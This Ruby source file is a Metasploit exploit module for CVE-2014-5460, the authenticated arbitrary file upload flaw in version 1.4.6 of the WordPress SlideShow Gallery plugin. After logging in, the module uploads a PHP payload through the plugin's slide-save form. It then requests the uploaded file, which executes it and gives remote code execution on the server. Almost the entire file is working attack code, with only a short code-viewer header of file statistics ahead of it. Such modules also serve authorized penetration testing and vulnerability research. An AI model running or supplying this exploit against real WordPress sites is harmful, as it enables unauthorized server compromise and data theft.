117 lines
3.9 KiB
Ruby
117 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::HTTP::Wordpress
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload',
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'Description' => %q{
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The Wordpress SlideShow Gallery plugin contains an authenticated file upload
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vulnerability. An attacker can upload arbitrary files to the upload folder.
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Since the plugin uses its own file upload mechanism instead of the WordPress
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API, it's possible to upload any file type.
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},
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'Author' =>
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[
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'Jesus Ramirez Pichardo', # Vulnerability discovery
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2014-5460'],
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['EDB', '34681'],
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['WPVDB', '7532']
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [['WP SlideShow Gallery 1.4.6', {}]],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 28 2014'))
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register_options(
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[
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OptString.new('WP_USER', [true, 'A valid username', nil]),
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OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
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], self.class)
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end
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def user
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datastore['WP_USER']
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end
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def password
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datastore['WP_PASSWORD']
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end
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def check
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check_plugin_version_from_readme('slideshow-gallery', '1.4.7')
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end
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def exploit
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print_status("#{peer} - Trying to login as #{user}")
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cookie = wordpress_login(user, password)
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if cookie.nil?
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print_error("#{peer} - Unable to login as #{user}")
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return
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end
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print_status("#{peer} - Trying to upload payload")
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filename = "#{rand_text_alpha_lower(8)}.php"
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data = Rex::MIME::Message.new
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data.add_part("", nil, nil, 'form-data; name="Slide[id]"')
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data.add_part("", nil, nil, 'form-data; name="Slide[link]"')
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data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"')
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data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"')
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data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"')
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data.add_part('file', nil, nil, 'form-data; name="Slide[type]"')
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data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"')
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data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"')
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data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"')
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data.add_part("", nil, nil, 'form-data; name="Slide[order]"')
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data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"')
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data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"")
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post_data = data.to_s
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print_status("#{peer} - Uploading payload")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'vars_get' => {
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'page' => 'slideshow-slides',
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'method' => 'save'
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},
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'data' => post_data,
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'cookie' => cookie
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})
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if res
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if res.code == 200
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register_files_for_cleanup(filename)
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else
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fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
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end
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else
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fail_with(Failure::Unknown, 'Server did not respond in an expected way')
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end
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print_status("#{peer} - Calling uploaded file #{filename}")
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send_request_cgi(
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'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)
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)
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end
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end
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